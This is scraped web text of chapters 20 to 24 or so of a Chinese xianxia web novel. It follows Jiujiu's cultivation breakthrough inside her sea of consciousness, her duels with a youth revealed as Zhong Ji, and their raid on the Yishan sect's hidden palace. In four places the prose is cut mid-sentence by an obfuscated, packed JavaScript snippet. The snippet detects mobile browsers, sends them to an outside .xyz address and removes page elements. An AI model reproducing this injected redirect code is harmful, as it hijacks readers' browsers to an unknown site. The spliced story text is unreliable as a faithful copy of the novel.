第三次修订版教材《这个修仙者真厉害》里面说了,世界上每位修士突破瓶颈时面对的考验都不一样。 有些筑基期的师兄姐也曾分享过他们的经历。金灵根的师兄是劈碎铁石,土灵根师兄是爬上云霄高峰,苟七是在水中找到桂冠,变异雷灵根的宁溪则是穿过风暴。 而啾啾的突破场景并没有那么气势恢宏。 她现在非常圆润,没有胳膊没有腿,只有一颗小芽,在腥臭的黑暗中摸索向上。 她变成了冻土下的一颗种子。 冰冷的土壤之下,连水分都是刺骨的。虽然啾啾现在只是一颗种子,但她能清清楚楚感受到其中那难以忍受的寒意,让她牙根发颤,骨头疼痛。 冻土极其坚硬,岩石污泥与冰块连成一片,连工匠的凿子也要费好大劲才能击穿。 现在这堆东西沉沉压在她身上,每一分每一秒,她都觉得自己会爆掉。她知道自己必须尽快突破这里,然而她的芽叶却过于柔软无力。 这种脆弱感让她很烦闷,她明明一向都是强硬派来着。 幸好灵力还能使用,所以啾啾将灵力全部附着在了小芽上,让那片原本软绵绵的叶子变得锋利钢硬。 即便如此,在厚厚的冻土岩层下,这小小的利刃还是犹如以卵击石。 钟棘站了一会儿,啾啾似乎在调整自己状态,以便自己再一次与困境较劲。 留给她的时间不多了。 本来就是先天残体,留不住灵力,只能靠阵法和养灵珏苦撑,现在四周微薄的灵气几乎全部被她汲取干净,只剩下养灵珏疯狂运转。 钟棘收回视线,唇齿间意义不明地“啧”了一声,似乎很心烦。 片刻后,那心烦渐渐变成了其它东西,他手背上青筋凸起,指节泛出没有血色的苍白。 他压抑着,低低喘息一声。 少年身上有股蛮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乍然一看很像小钟师兄,同样的十七八岁年纪,修长高挑,狂躁嗜血。可认真看看,又不是。他比钟棘还要艳丽几分,是满身锋芒戾气也盖不住的绝色。 少年没有红笺,耳垂单薄白皙,眉眼中拧着难以驯服的反叛。 啾啾是个很正常的女中学生。 虽然有着一张面瘫脸,但也会在抢走哥哥游戏机后,指着立体屏面无表情地告诉哥哥她觉得《塞尔达传说》里的林克很性感。 这少年,在她眼里绝对称得上貌美。 所以她多看了他两眼,才问:“你是谁——” 啾啾的声音突然扼进喉咙。 雪白薄刃已经穿过她头发,啾啾空洞的瞳孔收缩了一下——不知何时,她已经变回了人形。发丝被削断几根,悠悠飘落在雪上,一根一根,分外显眼。 寒气在风中扩散。 少年离她极近,鼻尖几乎快碰到她。 同是突然发难,青鸾的攻击她姑且还能闪躲,可他的动作,她根本看不见。 啾啾握住剑柄,心跳稍快。 “现在,来杀我。”少年咧开嘴角,盯着她,张狂地笑了,“你有七天时间,碰到我,就算你赢。” “碰不到呢?”啾啾声音冷硬,死气沉沉。 “……” 少年突然沉默。 21. 第 21 章 少年单纯不做作的无言,让啾啾怀疑他根本没想好要怎么威胁她。 怎么说呢,你们凶巴巴的男孩子都是这么简单好懂的吗? 对方潋滟的眸光微动,似乎还在苦思,表情莫名烦躁。 啾啾被他抵着肩膀,眼睛黑沉沉的,猛地用脑袋往前一撞! “!!!” 几缕碎发摩挲过了少年的额头,痒痒的,他愕然提了下眉,反应很快,一息间已经退后数丈远。 就差一点,她额头就撞在他额头上了,那一刻他几乎感受到了她略带寒意的体温。 好险。 少年震惊:“你做什么?” “我就是在想,我根本探查不出你的修为,说明你比我厉害很多,那我要怎么打你,拿头打你啊。”啾啾阐述,“然后我突然意识到,我可以拿头打你。” “……” 少年愣了愣,与啾啾大眼瞪小眼。不过片刻后,他又笑了:“你倒是挺聪明。” “可惜没碰到你。”啾啾沉声。 她看起来多少有点遗憾。 少年想了想,安慰她:“就差一点点。再努力一下也许就成功了。” “我会努力。”啾啾道。 …… 不知何处燕雀飞过,翅膀扑棱出一阵清浅的风,荡得积雪扑簌簌落下来,给这死寂的世界添上细碎的热闹。 …… 哪里不对。 少年突然醒悟过来,用刀一指,又凶了:“不许耍小聪明!我都说了,突破瓶颈,不是磨炼你本来就有的优点,是要让你打破你的阻碍!” “现在认认真真和我打,拼实力和我打!” 听起来会很累人。 啾啾举起手。 少年读懂她动作:“又怎么了?” “我想先睡会儿,你来之前我本来准备睡觉的。” “喔——”他还蛮好说话,收了刀,“那你睡快点。” 于是啾啾在山岩下面睡了一觉,这里比较挡风,虽然修士已经不怕小风小寒,但风大了依旧会觉得不舒服。 啾啾睡眠质量不太好,只睡了两个多时辰。 醒来时世界已经全部变样。 熟悉的赛博都市,高楼叠着高楼,仿佛积木垒出来的庞然怪物。城市里没有任何居民,只有巨大的紫色灯牌下映着个修长高挑的身影,带着少年人的单薄。 那人正抬头看着不远处转动的射灯,表情是显而易见的惊讶。 察觉身后悄无声息地多出个人,少年收回视线,没回头,灯光下掺杂了紫光的瞳孔往左滑了下,用余光瞥着那小小只的少女,稍稍咧开嘴角:“这就是你识海的真面目?” 白天是平静无害的一片的雪,到了晚上,冰雪渐融,银装素裹中轰然耸立起出狰狞的钢筋怪物。 每个人识海的样子都不一样。 啾啾曾经见过温素雪的识海,那沉默淡漠的少年,识海中是一片望不到边际的坟墓。永远灰沉的天空下墓碑林立,死寂无风,雾气招摇。 而啾啾自从恢复了一部分记忆以来,识海就一直是这个样子了。 截然不同的白天和黑夜,两个都是她的世界。 啾啾“嗯”了一声,站在旗帜的阴影下,稍稍低着头,抽出剑。 “那我开始了。” “来吧。” 少年爽快地应了一声。高束起的长发,随着转身的动作,在空中划了条轻盈的弧线,最后垂荡下来,然而还不等它停止摇晃,整束鸦羽般的黑发又猛然一晃! 啾啾已经提剑刺了过来,迅疾如风。 她体力不行,力量也不行,很少能站桩打架,所以大部分时候都是靠冲撞而去的力度和高频的攻击频率弥补缺陷。 长剑直指少年眉心,对方本能地偏过头,然而啾啾却预判到他的动作,不等他站定,又用另一只手盖向他,掌心凝着尖锐木刺。 少年身子一矮,从她手臂下绕过,啾啾立刻回身一踢。等他后退一步,又是从天而降的木刺雨。 小姑娘没什么花架子,攻击姿势看起来不够漂亮,但干净利落,每一次动作都花了心思在算计,致命且有效。 然而一套组合拳下来,少年依旧游刃有余,连刀也未曾抽出。只能在他游龙似的马尾间偶尔瞥见他咧开的嘴角和嚣张的犬牙。 即使已经预判了他的移动方位,还是没法碰到他,这就是实力间碾压的差距。 这样不行,虽然保证了体力的消耗达到最小,但碰不到他也是徒劳。也许她需要把所有体力赌在某一次的爆发上。 啾啾猛地收回手转为剑击,剑尖往上斜掠,可惜不等她一个动作做完,面前的少年已经不见。 她心脏猛地一坠。 后面——! 她直觉地转过身,紧接着,身子微微一僵! 黑暗中一只白皙的手迎面朝她伸来,手指细长漂亮,可那一刻,庞然的威胁感宛如实质,压得人喘不过气,仿佛遮天蔽日的阴霾笼罩全世界。 指缝后能看见少年兴奋却残虐的眸子。 那只手直直探到她眼前,指尖带着灼热温度。 啾啾身体本能地滞住。 对方却并未再向前,只堪堪停在她眉心,片刻后,屈指弹了下她额头,轻轻的。 “你输了。”少年笑得嚣张。 心里有什么东西突然撞了一下。啾啾擦了把额上的冷汗,抿唇道:“再来。” 这次她先用了仙法攻击。 几分钟后,少年的声音再次响起:“你又输了。” …… “还是不行。” …… “太弱了。” …… “再来。” …… 整整七天,啾啾都在和他战斗,也不睡觉,累了就席地而坐闭目养神。 她休息的时候,少年便会很感兴趣地在她识海里的大街小巷穿行,他很像在夜色中大摇大摆路过的昼行动物,向着光亮处。 好几次啾啾睁开眼,都看见他站在废弃工厂的铁架楼上,衣袍随风而动,巨大的LED屏在后方散发光明,勾勒出他黑色的剪影。 美得惊人。 她的战斗依旧没赢,但是从一开始连他动作也看不清,变成了勉强能接近他衣角。 好几次,她差点就摸到了。 少年游裕得很,迄今为止连刀也没祭出一次。 啾啾却放下了自己会不小心伤到他的担心,拿出你死我活的态度和他动真格。 ——因为她每次输之前那一瞬间的恐惧,都让她胆战心惊。 连啾啾这种对生命些许漠视、随时做好了战死准备的人,也能因那种铺天盖地压来的威胁而呼吸一滞,然后心底不知名的东西便开始横冲直撞,想要破壳而出。 “休息好了?” 见她站起来,少年跳下铁架台,几个纵身到她面前,微微拧着眉,似乎有些烦躁。 远处的夜空已经隐隐撕裂,露出一片黏稠的黑暗。 啾啾沉默着举起了剑,眼睛隐匿在阴影里,没有丝毫光明。 “我开始了。” “喔——” 万万没想到,这次没等她攻击,少年便先足底一蹬,闪电似的掠到她面前,抬起手—— 随意得仿佛掌控着生杀大权,让人感觉自己是他指间一根能轻松折断的野草。 啾啾瞪大眼,心跳一停,眼睁睁看见那手如同慢动作一般越来越近、越来越近。接着,她整个人如同一颗流星般急速飞驰出去。 新一轮战斗再次打响,却和之前任何一次都不一样,这一次,少年是极具侵略性地主动进攻,他一主动,便是让人连呼吸也不敢用力的凶残可怕。 他一言不发,攻击迅疾狠厉,每一根手指都凝着让人臣服的战栗气息,抵拢的时候,眼前只会浮现出一个巨大的死字。 就算啾啾拼死反抗,也只能支撑一分钟。 然而少年连层细汗都没出。 这种恐惧感过于震撼。如果说之前,她还能在两次战斗之间留一丝喘息空隙,现在便是完全没有留给她放松的机会。密密麻麻得如同一场暴雨。 一次、两次、三次。啾啾眼睛越来越黑。 窒息的恐惧下,心里的东西比以往任何时候都跳动得激烈。 城市早就在他们的战斗中千疮百孔,“咔擦”,又一处玻璃在烈风中破碎,啾啾瞳孔中突然滑过了一个屋子,粉红的兔子床单,星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067499|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星灯轻轻摇晃。 大脑好像有一瞬间恢复了一丝理智。 “不要破坏那个房间。” 她下意识喊出来。 少年的破坏力道立刻换了个方向,冲向她,愣神的一秒钟,她脖子已经被他捏住。 这次是真的捏住,甚至能感觉到喉咙上的压迫。 少年拧着眉,抵在面前:“我问你。” 他声音低沉:“你是不是一边想着要拼全力打架,一边又想着输了也无所谓,死了就死了?” 这有什么不对? 啾啾说不出话,少年的手捏得更紧:“既然你觉得无所谓,那我现在就可以杀掉你。” 无所谓是真的。可在这惊骇的攻击力下,恐惧也是真的。 心里好像有根天秤摇摆在行与不行之间,最后蔓延出一把火烧向心的屏障。 电光火石间,她的家再次落入眼底。 这次不仅仅是家。 还有人。 啾啾看见爸爸沉默地擦拭相框。妈妈坐在梳妆台前擦眼泪。哥哥将游戏机永远尘封在了箱底。 他们……还在挂念她。 对了,她想回家。一直都想。 眼眶突然一热,她咬牙:“不行。” “为什么?” 因为她家人还在等她! 啾啾心脏剧烈跳动:“只有钟棘师兄能杀我。” 少年冷哼:“其他人不行?” “不行。” “既然如此……” 心里那东西蛮横冲撞,在少年的捏紧的手指下越来越拼命,越来越疯狂。然后—— 少年俯下身,握着她喉咙的手指收拢,他扬起声音:“那你就想个办法,在钟棘杀你之前,保护好你自己啊!” “砰”的一声。 冲撞了许多天的东西终于冲出了心的牢笼。 啾啾不缺战死的勇气,却缺乏活下去的欲|望。 已经快要碎裂完全的天空下,生欲的种子一瞬间恍若长|枪百折不挠直直向上,带着几乎毁天灭地的决心击穿冻土。 眨眼功夫已经长成参天巨物,屹立在黑色的天空下,躯干柔软,布满触须。破土而出的第一时间,便猛地袭向那红衣少年! 要干掉他! 似乎还谨记着她的决心,藤条一把将他卷起,根本不给少年反应时间,其它所有触须一拥而上,束缚拉扯着,迫使他在空中张开四肢,空门大开。 胸上腰上脖子上,全是纠缠的触须。 …… “你怎么突破出这么个玩意儿。” 少年倒是不怕,就是觉得有点恶心,很嫌弃。不过片刻后,就笑了。 “算了,倒也不错,至少比你的木——” “啪!” 他声音突然一收,抿紧唇。 过了死寂的几秒,少年眼睛一点点烧红,浑身上下都传递出危险的信号。 ——刚刚,一根触须很不知好歹地,打在了他的屁股上。 …… 全场静默。 连触手都不敢动了。 啾啾在压抑气氛中终于一点点清醒,她急忙松开触手,将少年放下来,面无表情:“对不起。” 少年眼睛里还有血丝,盯着她。 许久后,他才不甘心地嘁了一声,别过脸:“……算了。” 他不是会为这种小事大动干戈的人,她估计还沉浸在刚才的战斗中,不怪她。 他成熟稳重,不会斤斤计较。 但是啾啾下一句,又把他钉在原地。 啾啾说:“我刚才不小心把你当成钟棘师兄了。” 什么意思? 少年一愣,捏紧了手,抬起头,声音危险:“你的意思是,钟棘就可以?” “也不是这个意思。”啾啾低头垂目,语气平平地陈述,“只是他的反应很可爱。” 比如说把火魔砍成泥,把火魔穿成串,把火魔烧成灰。 就是有点费火魔。 啾啾顿了一下:“这样一想,我觉得钟棘师兄可以。” …… 少年默了默,气笑了。 “我就是钟棘。”他说。 “我不可以。” 22. 第 22 章 少年,不,钟棘散发出比之前战斗时还要令人畏怯的凶残感。 啾啾和他对上视线,心里一沉,就这样直接醒过来了。 她突破了正好九个时辰,灵气只剩下最后一丝。怪不得刚刚脱离识海时,看见天地全部碎裂了。 问题不大。只要没损到心境,过几天就能恢复如初。 啾啾跳下床,立刻看见小钟师兄。 少年屈腿随意坐在榻上,背靠着她的床沿,眉心紧锁,看起来暴躁得一匹。 啾啾感知了一下。 小钟师兄确实是筑基后期的修为。 他和识海中少年长相不一样倒是可以理解,毕竟识海这东西用科学一点的话来解释就是意识,里面的一切都可以随着意识的改变而发生改变,自恋一点的人想在识海里变得更好看也正常—— 但他们连修为都不一样。 这不正常。 啾啾根本看不出那少年的修为,只知道他自然散发的威压,就仿佛上等生物在注视纸上的蚂蚁。 所以啾啾之前否定了他俩是同一个人的可能性。 没想到他俩还真是一个人。 “钟棘?”啾啾蹲下来看他。 少年是那种一眼过去就让人觉得生命力旺盛的人,可现在他却脸色苍白,阖着的眼下有抹病态的红。 “钟棘。” “……啊。”钟棘似乎在朦胧中应了一声,过了半晌,终于睁开眼。他心情平和的时候,眼睛是明亮的乌黑,他杀欲过重的时候,眼底会有极暗的红。 现在眼底是红的。 他依然屈腿坐着没动,只是有些反应不过来地直勾勾盯着地面。 脑袋还在裂开的疼,那种疼顺着血流,传遍身体每一个角落,最后直钻心窝子,让他很想杀个什么东西,见点血,这样才能缓住脊骨上升的焦躁感。 啾啾将案几上冷掉的半杯清心茶递给他——这是突破前她特意备在这里的。 防止自己走火入魔。 钟棘仰头喝了一口。 他现在看起来很虚弱,喝水时一丝茶液从唇边滚下来,顺着微微凸起的喉结滑落,最后湮没于红色的衣领,只留下条清亮的痕迹。 啾啾问:“你好点了吗?” 少年放下杯子,喉结又滚动了一下,才渐渐眼神清明,他揉着额头站起来:“你突破了?” “嗯。”啾啾点点头。 她已经是个筑基期的修士了,明显感觉丹田里可以容纳的灵气是以前的数倍,这种感觉让人轻飘飘的。 啾啾是个很懂分寸的人,想了想,她不准备问他识海的事,只是和他解释别的:“对了,之前我识海里那个东西不像是我意念操控的,更像是……” 她停了一下,找了一个最合适的词:“更像是幻肢。” 虽然也是因为大脑催动才会生长出来,但是驱使它的感觉和驱使木刺的感觉不一样。就好像来不及思考的时候,身体会凭本能行动。幻肢也可以凭本能行动。 钟棘懵着:“什么东西?” “那个触手。” 那玩意儿。 少年脸色变了变,一副又想凶的样子。 其实啾啾也很难。她是听说过有人会在突破时,醍醐灌顶琢磨出属于自己的独一无二的能力,未来的棠鹊便是这样一个幸运儿,她能开花。但啾啾怎么也没想到,她会催生出这么克苏鲁的东西。 别看她小小的身体,她却有大大的触手。 啾啾平静地和他解释:“因为它是幻肢,所以当时情况紧急,它就擅自行动了。又因为它只是幻肢,没有和我神经相连,所以我不会有任何感觉,包括痛觉和触觉。也就是说——” “我被它白摸了?”钟棘明白过来,暴怒。 “……”啾啾觉得不能让他这么吃亏,于是宽慰他,“是我白摸了你。” 一个没有享受到,一个没有让对方享受到。 扯平了。 钟棘还是很生气,在屋子里毫无意义地来来回回走了好多遍,才一瞪她:“下次别让我那么费脑子。” 突然转移开的话题让啾啾愣了一下,眼睛漆黑——费脑子? 她很快反应过来。 这样一想,还真是。 是小钟师兄先猜到她突破瓶颈是什么的。所以他才一直给她施压,后来更是一次次用濒死感刺激她。 啾啾心里一沉,万万没想到,有朝一日,她竟然会被小钟师兄的脑筋所帮助。 看来她要多看看书了。 啾啾机械地点了点头:“以后我会努力思考。” 钟棘瞟她一眼。不懂她为什么一副受打击的样子。 片刻后,啾啾抬起眸子:“对了,你为什么会在问世堂?” *** 沂山派是整个修真界公认的最邪道的门派。 他们居住在暗无天日的幽罗山,几乎不会出山,有着独一无二的社会结构。以女为尊,信奉蜂后,不与外族通婚,不遵守任何秩序,每日只想着如何尔虞我诈,如何杀同门、杀外人、杀兄弟姐妹。 连魔修都比不上他们。 自古正邪不两立,见面就开打。更何况这次沂山派是来明抢的。 进入沂山派的营地寨子后,张弛让众人分头行动。 “记住,尽可能暗中行动,这地方有什么修士尚且不明,不要闹出骚动引来增援。情况不妙就立刻撤退,切勿恋战——还有。” 张弛闭了闭眼:“沂山派乃是魂修,他们操纵的那些傀儡,最好不要破坏掉。一来和他们战斗只是白费力气。二来……给这些可怜人留个全尸罢。” “知道了。”师弟师妹们纷纷点头。 “那便出发罢。万事小心。” 队伍应声解散,诸位弟子各自挑了条路,由外至内,包成一个圆,潜行围剿进去。 张弛走的便是面前这条路。 跃上房檐、躲在干草垛后,又或是藏匿于阴影中。不少内门弟子会嫌弃这种做法不够清高不够光彩,他们却做的得心应手。 没办法,外门弟子明明学着门派中最低等的功法,却时常被派去执行高危任务。这些都是保命的基础技能——清高?能当护身符使吗? 至于张弛,他虽不是外门弟子,却时常帮着问世堂执行任务,生存经验甚至比许多外门弟子还要丰富。 他这一路遇到了不少被操纵的尸体,只会机械地沿着被规划好的路线往返巡逻。张弛仿佛一只敏捷的黑猫,一路悄无声息解决了好几个操控它们的弟子,又藏好他们的尸体,确保自己没有留下蛛丝马迹。 沂山派就是这点好。 他们的傀儡只能察觉到杵在面前的敌人。而修士感知力又太低,远不如道修。 潜行对他们再有用不过。 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067500|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弛耐着性子,慢慢等待,慢慢深入,也不知道过了多久,又一次翻身上树,他视线捕捉了另一棵树上的影子。 距离挺远,没办法在一瞬间绞杀对方——有点麻烦。 心里蓦地一沉,张弛手心当即翻出一道火舌,准备在对方出声之前攻过去。 那道身影却只是抬起头来。 张弛和他四目相对,手心的火舌又熄灭下去。 ——是苟七。 那小少年比他更谨慎,不知道从哪儿扒了一套沂山派弟子的衣服套在身上。 两人远远地点了点头,准备继续前进,然而斜下方却突然传出一道厉喝。 “什么人!” 一瞬间。 威压如烈风一般冲刷扫荡。 张弛身子一僵,咬紧牙关,不让自己在这过重的压迫中发出声音,不远处的苟七也死死捏住拳头,及肩长的碎发被风吹得往后飘扬,露出小少年一张秀气温和的脸庞。 这是……金丹中期的修士! 他们恐怕没法对付! 张弛背后出了一层冷汗,压抑住呼吸,死死盯着前方。 “出来!” 那人又喝了一声,声音在一点点接近他们。 苟七已经握住了剑,一副准备战斗的模样。 那人冷哼:“休要以为能瞒过我!” 声音即将折过棚屋的转角—— 张弛的手也覆上剑柄。 炙风搔动,天地静得能听见唾液砸进胃里的声音。那修士的气息越来越近、越来越近,就在这时候—— “砰”地一声! 一声巨响,来自东边,即使隔了很远,还是能感受到那庞大的威力。 那边是——沂山派的另一个营地! 金丹期修士蓦地脚步一停,沉声问:“怎么回事?” 他也顾不得这边了,调头匆匆走远。 张弛松了口气,又和苟七交换了一个眼神,转而扭头看向东边。 夜幕低垂,持续许久的瑞光还布在天空上,天际流淌出绚烂的银河——从这里眺望,只有空旷的焦火山山岭。 但愿不是师弟他们遇到事儿了。 张弛担忧地想:小钟师弟,你们势单力薄,可千万要藏好了,绝对不要引起任何骚动! …… 坚固的墙壁在眼前破出一个大洞,碎石纷纷扬扬落了一地。一阵风拂过,半空中的灰尘四处乱扑。 啾啾面无表情看着面前粉碎的墙壁,目光死沉。 他们刚刚过来这边,只看到一座破败的茅草屋。 走进屋子,里面却别有洞天,出现了高高的围墙,大红色,仿佛是行宫院墙,高不可攀。 啾啾抬头:“我们分头找找门在哪边吧——” 然后。 “吧”字还没说完,这堵墙就轰然一瞬,在她面前碎成了渣。 啾啾:…… 罪魁祸首面不改色,收回踹墙的腿,站直了,仿佛才堪堪意识到同伴说了什么。 他沉默一下,亮出犬牙,笑了:“喔——现在找到门了。” 噼啪。 最后一块摇晃的砖石也支撑不住,从上方砸下来。 “门”开得敞亮又磊落,甚至能从后面看清楚几个坐在桌边打吊牌的沂山派弟子错愕的表情。 他们顶着满脸灰,不知所措,写满了柔弱和无助。 23. 第 23 章 在场一共四个弟子,两个筑基中期修为,两个筑基后期修为。 除此之外,还有七八只傀儡。 啾啾侧过头,她身边那少年没有露出半分惧色,反而笑得兴奋,看起来比这些邪道弟子还要邪道。暗红衣袍在烟尘之中格外显眼。 沂山派弟子已经反应了过来,大喝一声,起身列阵。 然而下一秒,那火焰似的少年已经到了他们面前,根本不给他们出手机会,便砰地几声,将他们捏得稀碎。 “怎么回事!”外面又有人扬起声音,紧张惶恐,“刚刚那是什么响动!” 脚步声纷至沓来。 刚一进门,几人便瞧见空中漂浮的血雾——师弟们已经不见踪影。 什么情况? 空气中浓郁的血腥气让众人惊骇不已,猛地抽出长刀。 为首的弟子做了个手势,示意大家慢慢靠近,然而走了两步,却没有任何脚步声跟上来。等他回过头的时候,正好“扑通”一声,一具身体软绵绵倒在他脚边,脖子已经折断,死相恐怖。 刚刚还跟在他身后的喽啰们,瞬息之间,悉数毙命。 为首弟子心脏都快要从嗓子眼儿蹦出来,紧张得不停吞咽,脖子处凉得让他毛骨悚然。 “怎么……” 他声音蓦地一停,面前不知何时多出个少年,年轻细瘦,微挑的瑞凤眼凌厉而含笑。 这人是谁?他做的?怎么做到的? 弟子脑中不受控制地塞满了问号,明明对方只有筑基后期修为,他已经半步金丹了,可现在心却颤栗到极点。泥地、虫鸣、血腥气,都如同千斤巨石一般压在他身上,告诉他死期将至。 不要怕不要怕。对方比自己还差几个小台阶。 为首弟子张了张嘴,扬声要喊:“救——” 可惜接下来,他声音便再也发不出来了。 目光只来得及捕捉到少年从他面前一闪而过的红笺,随着动作而摇晃,上面隐约的金光也跟着流动,宛如最招摇的烈火,艳丽惊人。 然后,“咔擦”,他听见自己颈骨被他捏碎的声音。 最后一个人的身体也倒在了地上,宛如烂泥。 四周七零八落躺了一地尸体,有的已经支离破碎,有的还很完整。 钟棘并没有凌虐癖,能瞬间杀死对方就瞬间杀了,除非对方生命力太强,他一次性秒不掉。 这些人死得不痛苦,却无一例外表情惊恐。 啾啾还站在院墙边,毫无情绪地拨开面前尘霾,正好看见钟棘从那边走了回来。 少年活动了一下手腕,连碎星刀都懒得祭出,仿佛这些人只是开胃小菜,不值得他认真打。 “我觉得张弛师兄应该有叮嘱过我们要潜行深入,小心行事。”啾啾说。 根据分析应该是这样,毕竟沂山派弟子实力不明,人数不明,张弛师兄是个谨慎负责的人,不会希望他们贸然闯入。 钟棘扬了扬眉:“我不记得了。” 他当时在那里烦躁地走来走去,只听见“阿巴阿巴棠鸠师妹在突破阿巴阿巴”,哪儿知道他们说了什么。 钟棘没动手前想见血,这会儿见了血又觉得恶心想吐,干脆纵了把火烧过去,做完后环视一圈:“这里不算山吧?” 看来他有很乖地把啾啾上次说的“放火烧山牢底坐穿”记住。 啾啾点点头:“这里应该是他们隔绝起来的独立空间,烧了也可以。” “喔——”少年咧开嘴,对熊熊的火光愉悦了一会儿,眸子熠熠生辉。片刻后,他渐渐敛起笑,突然问,“什么是潜行?” 啾啾一歪头:??? 你认真的? 小钟师兄还真是认真的。 啾啾像个小老师一样给他认真解释:“就是偷偷进入,不被敌人看见的意思。” 钟棘点点头,顿悟:“这样的话,把他们都杀了,他们就看不见我们了。” 啾啾:……唔。有道理。 明白了,小钟师兄不是不懂潜行,是他用不上。 小钟师兄的人生信条就是:一,莫挨老子。二,有墙可以砸,为什么非要走门。三,潜行就是指大摇大摆走进去然后开无双。 这人本质就是个叛逆期的暴躁少年。 啾啾:“我被你说服了,我们继续前进吧。” …… 死寂无风。 这里是个类似地宫的地方。 原著中有不少修士喜欢把房子建在空间里,棠鹊后来也得到过一本书简,里面藏着座丹房,丹房里有二阶的高级丹炉——是温素雪用得上的东西。 于是棠鹊大方善良地告诉温素雪可以去她的丹房炼丹,温素雪也就真地去了,还是三天两头地去。 为此棠鸠没少和温素雪争执冷战。 不过像地宫这种规模宏大的移动建筑,啾啾还真没想到会在这里遇见。她一直以为这些好东西都藏在紫霄仙府里。 这一路上又遭遇过两拨敌人,啾啾依然没动手,钟棘也依然没抽刀。 少年明显打开心了,一路都咧着嘴角。 地板被磨得光亮,弯曲的镜面纹路上倒映着两个身影,每走一步,就有轻轻的脚步声在空寂的回廊里盘旋。 啾啾个子太矮,这意味着她腿长远远不及钟棘,她不得不每走几步就小跑一段跟上他风风火火的速度。筑基期修士走路已经不必担心体力消耗,啾啾没觉得有问题,不过往复两次,少年似乎察觉到什么,走慢了些,配合她的步伐。 “这边好像都没人了。”钟棘兴意阑珊。 “嗯。”啾啾点点头,“所以才更要小心。” 整片区域只剩下徘徊游荡的傀儡,钟棘连杀他们的兴趣都提不起来,不到非打不可的地步就直接走过去了。 这里太过幽静安全,仿佛他们已经把敌人清理干净了似的。 极不正常。 越过几座必经的灰色偏殿,能看见不远处正殿上的匾额,笔走龙蛇,一勾一折都散发出诡异的危险。仿佛正在恭候他们光临。 啾啾神经紧绷到了极点。 钟棘稍稍侧目便看见少女沉着脸,眉头半皱的模样,柱石上的夜明珠散发出莹润光芒,自上而下,被少女姣好的眉骨挡住,使得她一双眼沉浸在阴影中,坚定深沉。 走过两座偏殿后,她突然脚步一停。 “怎么了?”钟棘歪过脑袋。 “有水蜜桃的味道。”啾啾略略睁大眼睛,很快重新耷下睫毛,紧锁眉头。 “水蜜桃?”钟棘想了想,“那是什么?” “一种水果,很香甜,但是非常贵,要两千联盟币,我也只吃过一次。” 啾啾至今还记得那口感,一口咬下去,柔软的果肉填满口腔,软得让人飘飘欲仙,又弹得让人回味无穷。牙齿稍稍一碰,清香的汁水四溢。 啾啾对吃食并没有太多欲|望,唯独水蜜桃——她很想再吃一次。 她喉头动了动。 望梅止渴,这是人类的本能,会对期待的食物条件反射性分泌唾液,无法控制。这很正常。 钟棘瞧着她:“你很想吃?” “没有。” 少年探过手,抬起她下巴,粗鲁地揩了一下她嘴角:“这是什么?” 啾啾被迫看向他凌厉漂亮的眼睛:“这是眼泪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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就算不提陷阱,光站在离魂阵中都该疼痛难忍。就算钟棘强得像个小怪物,也无法抵抗。 少年眼尾烧出了一抹艳丽的深红。 偏殿里响起桀桀的笑声,有人说话,森然可怖:“两个小娃儿倒是警惕,我还以为你们把注意力都放在正殿上了,不会注意到我这里。” 有人的灵力在其中运转——不止一个,许多个,其中甚至有金丹期修士的灵力! 威压瞬间铺天盖地汹涌而来! 啾啾咬紧了牙,攥着手,感觉口中漫出了一股淡淡的血腥味,她硬|挺着不让自己弯腰臣服下去。 “你。”钟棘突然回过头。 是叫她。 啾啾一愣,也不知怎么的,竟然在这一刻想起她还从未告诉过钟棘自己名字。 “我叫棠鸠。” “我知道。”看不出少年脸色,只听见他问,“你会用法器吗?” “会。” 他随手抛来个东西:“戴上。” 是个小巧的手环,细细的,赤红色,上面有雕刻镂空的荆棘图纹。 情况紧急,啾啾不多话,迅速套上手环。 一刹那,压着她脖颈身躯,逼她跪下求饶的威压消失得一干二净,啾啾放松下来,深呼吸几口,有些错愕。 钟棘这才回过身,注意力重新落回到大殿:“我确实有些受不了这种疼,疼得我想杀人。所以现在,我去把他们都宰了,而你,去把阵法和陷阱都破坏掉。” 他笑了,一点点咧开嘴角,嚣张又狂妄:“可以吧,啾啾?” 24. 第 24 章 “可以吧,啾啾。” 啾啾突然撩起眼皮,刹那间仿佛整个世界都暗了下去,没有日月星光,只有她和少年之间连着一根过分明亮的线。 那根线细细的,却斩不断,越拉越紧,越拉越紧。最后在某一瞬间,如同一根琴弦,发出绷紧后的筝鸣。 也就是这一刻,他们一起动了。 钟棘掠向了殿中的数位修士,啾啾则足底一蹬,敏捷地翻上了大殿屋檐。 离魂阵破阵关键在于这金土土三只脊兽。她刚一靠近,几只脊兽眼睛便亮起来,光亮互相传递交织。 